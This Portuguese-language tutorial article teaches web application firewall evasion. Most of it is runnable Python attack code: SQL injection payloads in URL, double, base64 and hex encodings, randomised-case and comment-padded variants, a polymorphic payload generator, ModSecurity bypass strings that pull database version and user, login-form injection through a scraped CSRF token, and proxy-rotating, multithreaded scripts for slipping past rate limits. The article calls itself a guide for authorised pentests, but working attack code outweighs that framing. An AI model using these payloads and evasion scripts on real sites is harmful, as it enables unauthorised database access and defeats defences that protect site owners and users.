Bypasses de WAF: Técnicas de Evasão e Contorno de Filtros: Do Básico ao Avançado Já leu

Introdução: O que é um WAF e por que contorná-lo Um Web Application Firewall (WAF) é uma camada de segurança que monitora, filtra e bloqueia requisições HTTP/HTTPS suspeitas antes delas chegarem à aplicação. Diferentemente de firewalls tradicionais que operam na camada de rede, um WAF entende a linguagem HTTP e pode analisar payloads, headers e padrões de comportamento. Compreender como contornar um WAF é fundamental para profissionais de segurança ofensiva. Empresas contratam pentesters justamente para identificar essas falhas antes que atores maliciosos o façam. Este artigo aborda técnicas legítimas de evasão usadas em testes autorizados, sempre dentro de um escopo contratado e ético. Entendendo Mecanismos de Detecção do WAF Como o WAF identifica ataques Um WAF tipicamente utiliza três estratégias de detecção: análise de assinatura (pattern matching), análise comportamental anômala e análise heurística. A detecção por assinatura procura por padrões conhecidos de ataque, como strings SQL injection clássicas ( ). Análise comportamental identifica quando um usuário faz múltiplas requisições falhadas

Introdução: O que é um WAF e por que contorná-lo

Um Web Application Firewall (WAF) é uma camada de segurança que monitora, filtra e bloqueia requisições HTTP/HTTPS suspeitas antes delas chegarem à aplicação. Diferentemente de firewalls tradicionais que operam na camada de rede, um WAF entende a linguagem HTTP e pode analisar payloads, headers e padrões de comportamento.

Compreender como contornar um WAF é fundamental para profissionais de segurança ofensiva. Empresas contratam pentesters justamente para identificar essas falhas antes que atores maliciosos o façam. Este artigo aborda técnicas legítimas de evasão usadas em testes autorizados, sempre dentro de um escopo contratado e ético.

Entendendo Mecanismos de Detecção do WAF

Como o WAF identifica ataques

Um WAF tipicamente utiliza três estratégias de detecção: análise de assinatura (pattern matching), análise comportamental anômala e análise heurística. A detecção por assinatura procura por padrões conhecidos de ataque, como strings SQL injection clássicas (' OR '1'='1). Análise comportamental identifica quando um usuário faz múltiplas requisições falhadas ou tenta acessar recursos não permitidos. Análise heurística usa inteligência artificial para detectar padrões novos que se assemelham a ataques.

A maioria dos WAFs modernos (como Cloudflare, AWS WAF, ModSecurity) combinam essas três estratégias. Eles mantêm listas negras de IPs, monitoram User-Agent suspeitos, verificam encoding de strings e rastreiam padrões de comportamento em tempo real.

Identificando o tipo de WAF em produção

Antes de tentar evasão, você precisa identificar qual WAF está em uso. Existem ferramentas automatizadas e técnicas manuais para isso. A ferramenta wafw00f é amplamente usada pela comunidade:

# Instalação
pip install wafw00f

# Uso básico
wafw00f https://exemplo.com.br

# Saída típica
[*] Checking https://exemplo.com.br
[+] WAF/IPS/IDS Identified: Cloudflare
[!] Number of requests: 5

Você também pode fazer fingerprinting manual observando headers de resposta HTTP:

import requests
import re

def fingerprint_waf(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'X-Forwarded-For': '127.0.0.1'
    }

    try:
        response = requests.get(url, headers=headers, timeout=10)

        # Procura por headers indicativos
        suspicious_headers = {
            'Server': response.headers.get('Server', ''),
            'X-Powered-By': response.headers.get('X-Powered-By', ''),
            'CF-Ray': response.headers.get('CF-Ray', ''),  # Cloudflare
            'X-CDN-Provider': response.headers.get('X-CDN-Provider', '')
        }

        print("[+] Headers detectados:")
        for key, value in suspicious_headers.items():
            if value:
                print(f"    {key}: {value}")

        # Detecta página de bloqueio por padrões comuns
        if '403' in str(response.status_code) or 'Forbidden' in response.text:
            print("[!] Possível WAF ativo (página 403 detectada)")

    except Exception as e:
        print(f"[-] Erro: {e}")

fingerprint_waf('https://exemplo.com.br')

Técnicas Clássicas de Evasão

Ofuscação e Encoding

A técnica mais simples é ofuscar a carga útil usando diferentes encodings. Um WAF é treinado para detectar ' OR '1'='1, mas pode não reconhecer a mesma string codificada em URL encoding, Base64 ou hexadecimal. O servidor backend, porém, decodifica automaticamente.

import urllib.parse
import base64

# Payload original SQL Injection
original_payload = "' OR '1'='1"

# URL Encoding
url_encoded = urllib.parse.quote(original_payload)
print(f"URL Encoded: {url_encoded}")
# Saída: %27%20OR%20%271%27%3D%271

# Double URL Encoding (alguns WAFs não decodificam duplo)
double_encoded = urllib.parse.quote(urllib.parse.quote(original_payload))
print(f"Double Encoded: {double_encoded}")
# Saída: %2527%2520OR%2520%25271%2527%253D%25271

# Base64 Encoding
base64_encoded = base64.b64encode(original_payload.encode()).decode()
print(f"Base64 Encoded: {base64_encoded}")
# Saída: JyBPUiAnMSc9JzE=

# Unicode/Hexadecimal
hex_payload = ''.join([f'%{ord(c):02x}' for c in original_payload])
print(f"Hex Encoded: {hex_payload}")

Quando você envia esse payload a um servidor vulnerable, ele automaticamente decodifica antes de processar. Um WAF ingênuo pode não reconhecer a versão codificada se seu padrão busca apenas a forma literal.

Fragmentação e Chunking de Requisição

Outra técnica é quebrar o payload em múltiplos chunks. Alguns WAFs analisam a requisição completa, mas se você fragmentar em headers customizados ou em múltiplas requisições com valores que só fazem sentido juntos, você pode enganar a detecção.

import requests

# Em vez de: /search?q=1' OR '1'='1
# Você envia em partes

url = "https://exemplo.com.br/search"

# Técnica 1: Dividir entre query parameter e cookie
session = requests.Session()
headers = {
    'User-Agent': 'Mozilla/5.0',
    'Cookie': 'filter=1\' OR \'1\'=\'1'  # Parte do payload no cookie
}

# Técnica 2: Usar múltiplos parâmetros com mesmo nome
# GET /search?q=1&q=' OR '&q='1'='1
# Diferentes servidores concatenam esses valores de formas distintas
params = {
    'q': ['1', "' OR '", "'1'='1"]  # Requests envia ?q=1&q=' OR '&q='1'='1
}

response = requests.get(url, headers=headers, params=params)
print(response.status_code)

Manipulação de Case (Maiúsculas/Minúsculas)

Muitos WAFs usam busca case-sensitive. Se a assinatura procura por UNION SELECT, a escrita UnIoN sElEcT pode não ser detectada — mas o banco de dados SQL ainda processa corretamente.

def randomize_case(payload):
    """Converte string para mistura aleatória de maiúsculas/minúsculas"""
    import random
    return ''.join(random.choice([c.upper(), c.lower()]) if c.isalpha() else c 
                   for c in payload)

# SQL Injection ofuscado
sql_payload = "UNION SELECT username, password FROM users"
obfuscated = randomize_case(sql_payload)
print(obfuscated)
# Saída possível: UnIoN sEleCt UsErNaMe, PaSsWoRd FrOm UsErS

# Em uma URL
import urllib.parse
url_with_payload = f"https://exemplo.com.br/search?q={urllib.parse.quote(obfuscated)}"

Comentários e Espaços

Bancos de dados SQL permitem comentários (--, #, /* */) e espaços podem ser substituídos por caracteres que o SQL interpreta como espaço (tabs, quebras de linha, %0a, %09).

# Payload original
payload1 = "1' OR '1'='1"

# Com comentário SQL
payload2 = "1' OR '1'='1 -- comentário"

# Com whitespace alterado
payload3 = "1'%0aOR%0a'1'='1"  # %0a = quebra de linha

# Com múltiplas técnicas combinadas
payload4 = "1'%0a/**/OR%0a'1'='1--"

print(payload1)
print(payload2)
print(payload3)
print(payload4)

# Teste em requisição HTTP
import requests
response = requests.get(f"https://exemplo.com.br/search?q={payload4}")

Análise de Comportamento e Técnicas Avançadas

Rate Limiting e Distribuição de Requisições

WAFs modernos bloqueiam não apenas payloads perigosos, mas também comportamento anômalo. Se você fizer 100 requisições por segundo com diferentes payloads, será bloqueado. Técnicas de distribuição reduzem a velocidade e distribuem requisições.

import requests
import time
from itertools import cycle

# Lista de proxies (pode ser gratuita ou paga)
proxies_list = [
    'http://proxy1.com:8080',
    'http://proxy2.com:8080',
    'http://proxy3.com:8080',
]

proxy_cycle = cycle(proxies_list)

# Lista de payloads a testar
payloads = [
    "1' OR '1'='1",
    "1' OR 1=1 --",
    "admin' --",
    "' OR 'a'='a"
]

target_url = "https://exemplo.com.br/search"

for payload in payloads:
    # Rotaciona proxy
    current_proxy = next(proxy_cycle)
    proxy_dict = {'http': current_proxy, 'https': current_proxy}

    # User-Agent aleatório
    import random
    user_agents = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15)',
        'Mozilla/5.0 (X11; Linux x86_64)'
    ]

    headers = {'User-Agent': random.choice(user_agents)}

    try:
        response = requests.get(
            target_url,
            params={'q': payload},
            headers=headers,
            proxies=proxy_dict,
            timeout=10
        )
        print(f"[+] Payload: {payload} | Status: {response.status_code}")
    except Exception as e:
        print(f"[-] Erro com proxy {current_proxy}: {e}")

    # Delay entre requisições (importante!)
    time.sleep(random.uniform(2, 5))

Análise de Respostas e Detecção de Bloqueio

Nem todo bloqueio é óbvio (status 403 ou página de erro). Às vezes o WAF retorna 200 OK mas com conteúdo manipulado. Analisar o tamanho da resposta, headers customizados e conteúdo ajuda a identificar bloqueios silenciosos.

import requests
import hashlib

def detect_waf_blocking(url, payload):
    """
    Detecta se o WAF bloqueou a requisição analisando respostas
    """

    # Requisição legítima (baseline)
    try:
        response_clean = requests.get(url, timeout=10)
        clean_size = len(response_clean.content)
        clean_hash = hashlib.md5(response_clean.content).hexdigest()
        print(f"[*] Baseline - Tamanho: {clean_size} bytes, Hash: {clean_hash}")
    except Exception as e:
        print(f"[-] Erro ao obter baseline: {e}")
        return

    # Requisição com payload
    try:
        response_payload = requests.get(
            url,
            params={'q': payload},
            timeout=10,
            allow_redirects=False
        )
        payload_size = len(response_payload.content)
        payload_hash = hashlib.md5(response_payload.content).hexdigest()

        print(f"\n[*] Com payload - Tamanho: {payload_size} bytes, Hash: {payload_hash}")
        print(f"[*] Status Code: {response_payload.status_code}")

        # Indicadores de bloqueio
        blocking_indicators = [
            response_payload.status_code in [403, 429, 406],
            'blocked' in response_payload.text.lower(),
            'security' in response_payload.text.lower(),
            'attack' in response_payload.text.lower(),
            clean_hash == payload_hash and response_payload.status_code == 200,  # Resposta duplicada
            abs(clean_size - payload_size) > 1000  # Tamanho muito diferente
        ]

        if any(blocking_indicators):
            print("[!] ⚠️ Possível bloqueio detectado")
            return True
        else:
            print("[+] ✓ Payload não foi bloqueado (potencialmente vulnerável)")
            return False

    except Exception as e:
        print(f"[-] Erro ao enviar payload: {e}")

# Uso
detect_waf_blocking(
    'https://exemplo.com.br/search',
    "1' OR '1'='1"
)

Polimorfismo de Payload

Técnica avançada onde você gera automaticamente variações de um payload mantendo a funcionalidade. Um WAF pode bloquear uma versão, mas a próxima gerada é diferente.

import random
import string

class PayloadMutator:
    """Gera variações polimórficas de payloads SQL injection"""

    def __init__(self, base_payload):
        self.base = base_payload

    def mutate_sql_comment(self):
        """Usa diferentes estilos de comentário SQL"""
        variations = [
            self.base + " -- ",
            self.base + " #",
            self.base + " /**/",
            self.base + " /*!50000*/",  # Comentário condicional MySQL
            self.base + " \n--",
        ]
        return random.choice(variations)

    def mutate_whitespace(self):
        """Substitui espaços por equivalentes"""
        whitespace_options = [
            '%20',   # Espaço normal
            '%0a',   # Quebra de linha
            '%0d',   # Carriage return
            '%09',   # Tab
            '%0b',   # Vertical tab
            '/**/+', # Comentário + operador
        ]

        result = self.base
        for char in [' ']:
            result = result.replace(char, random.choice(whitespace_options))
        return result

    def mutate_string_concat(self):
        """Quebra strings e concatena de forma diferente"""
        # Específico para diferentes dialetos SQL
        concat_methods = [
            lambda s: f"'{s}'",                    # String normal
            lambda s: f"0x{s.encode().hex()}",    # Hexadecimal (MySQL)
            lambda s: f"CHAR({','.join(map(str, [ord(c) for c in s]))})",  # CHAR()
        ]
        return random.choice(concat_methods)(self.base)

    def generate_batch(self, count=5):
        """Gera múltiplas variações"""
        mutations = []
        for _ in range(count):
            strategy = random.choice([
                self.mutate_sql_comment,
                self.mutate_whitespace,
                self.mutate_string_concat
            ])
            mutations.append(strategy())
        return mutations

# Uso prático
mutator = PayloadMutator("1' OR '1'='1")
payloads = mutator.generate_batch(10)

for i, payload in enumerate(payloads, 1):
    print(f"Variação {i}: {payload}")

Bypass de Proteções Específicas

Contornando ModSecurity Core Rule Set (CRS)

ModSecurity é um WAF open-source amplamente usado. Seu Core Rule Set (CRS) detecta ataques através de regras customizáveis. Bypass geralmente envolve:

import requests
import urllib.parse

def bypass_modsecurity_sql(target_url):
    """
    Técnicas documentadas para bypass de ModSecurity CRS
    """

    # Técnica 1: Valor nulo seguido de OR
    payload1 = "1 and 1=1 union all select null,null,null"

    # Técnica 2: Concatenação com variáveis de ambiente MySQL
    payload2 = "1' union select @@version,@@datadir,@@basedir -- "

    # Técnica 3: Usar operadores lógicos de forma criativa
    payload3 = "1 and (select 1 from (select count(*),concat(user(),0x3a,database()))x)"

    # Técnica 4: String com caso misto + comentário Unicode
    payload4 = "1' UnIoN SelEcT 1,user(),database() %23"

    payloads = [payload1, payload2, payload3, payload4]

    for idx, payload in enumerate(payloads, 1):
        try:
            response = requests.get(
                target_url,
                params={'id': payload},
                timeout=5
            )
            print(f"[Payload {idx}] Status: {response.status_code}")
            if response.status_code == 200:
                print(f"  → Possível sucesso: {payload[:50]}...")
        except requests.exceptions.RequestException as e:
            print(f"[Payload {idx}] Erro: {e}")

bypass_modsecurity_sql('https://exemplo.com.br/search.php')

Bypass de Proteção CORS e CSRF

Algumas aplicações usam WAF para proteção CSRF. Contornar envolve:

import requests

def bypass_csrf_protection(target_url, form_data):
    """
    Técnicas para contornar proteção CSRF
    """

    session = requests.Session()

    # Passo 1: Fazer requisição inicial para obter token CSRF
    response = session.get(target_url)

    # Passo 2: Extrair token (exemplo com regex)
    import re
    token_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', response.text)

    if token_match:
        csrf_token = token_match.group(1)
        print(f"[+] Token CSRF extraído: {csrf_token[:20]}...")

        # Passo 3: Enviar com token legítimo (mas com dados maliciosos)
        headers = {
            'X-Requested-With': 'XMLHttpRequest',  # Finge ser AJAX
            'Referer': target_url  # Header importante
        }

        payload = {
            'csrf_token': csrf_token,
            'username': 'admin',
            'password': "' OR '1'='1"  # Payload no campo de senha
        }

        response = session.post(
            target_url,
            data=payload,
            headers=headers
        )

        print(f"[+] Status da requisição: {response.status_code}")
        return response
    else:
        print("[-] Token CSRF não encontrado")
        return None

# Uso
bypass_csrf_protection(
    'https://exemplo.com.br/login',
    {'username': 'admin', 'password': 'test'}
)

Bypass de Rate Limiting

WAFs frequentemente implementam rate limiting. Contornar envolve distribuição inteligente:

import requests
import time
import threading
from queue import Queue

class RateLimitBypass:
    def __init__(self, target_url, num_workers=3):
        self.target_url = target_url
        self.num_workers = num_workers
        self.queue = Queue()
        self.results = []

    def worker(self):
        """Worker thread que processa requisições"""
        while not self.queue.empty():
            payload, index = self.queue.get()
            try:
                # Adiciona header User-Agent único por worker
                headers = {
                    'User-Agent': f'Mozilla/5.0 Worker-{index}'
                }

                response = requests.get(
                    self.target_url,
                    params={'q': payload},
                    headers=headers,
                    timeout=10
                )

                self.results.append({
                    'payload': payload,
                    'status': response.status_code,
                    'worker': index
                })

                print(f"[Worker {index}] Status: {response.status_code}")

            except Exception as e:
                print(f"[Worker {index}] Erro: {e}")

            self.queue.task_done()
            time.sleep(1)  # Delay entre requisições do mesmo worker

    def execute_async(self, payloads):
        """Executa requisições de forma paralela (distribuído)"""

        # Popula fila
        for idx, payload in enumerate(payloads):
            self.queue.put((payload, idx % self.num_workers))

        # Inicia threads
        threads = []
        for i in range(self.num_workers):
            t = threading.Thread(target=self.worker)
            t.start()
            threads.append(t)

        # Aguarda conclusão
        self.queue.join()
        for t in threads:
            t.join()

        return self.results

# Uso
payloads = [
    "1' OR '1'='1",
    "admin' --",
    "1' AND '1'='1",
    "' OR 'a'='a",
]

bypass = RateLimitBypass('https://exemplo.com.br/search')
results = bypass.execute_async(payloads)

for result in results:
    print(f"[Result] {result['payload']}: {result['status']} (Worker {result['worker']})")

Conclusão

Aprendemos que bypasses de WAF funcionam em três níveis principais: ofuscação de payload (codificação, case mimetism, fragmentação), análise de comportamento (distribuição temporal e espacial de requisições) e exploração de lógica específica do WAF em uso. O ponto crucial é compreender que nenhum WAF é impermeável — existem sempre tradeoffs entre segurança e usabilidade que criam brechas.

O segundo aprendizado fundamental é que identificação precede exploração. Usar ferramentas como wafw00f e análise manual de headers economiza horas de tentativas cegas. Saber qual WAF você enfrenta permite focar em técnicas específicas documentadas versus gastar tempo em técnicas genéricas ineficazes.

Por fim, lembre-se que estas técnicas só devem ser aplicadas em testes de penetração com escopo autorizado. A barreira entre pesquisa de segurança legítima e atividade criminosa é determinada por autorização prévia e documentação apropriada. Use esse conhecimento responsavelmente.

Referências


Artigos relacionados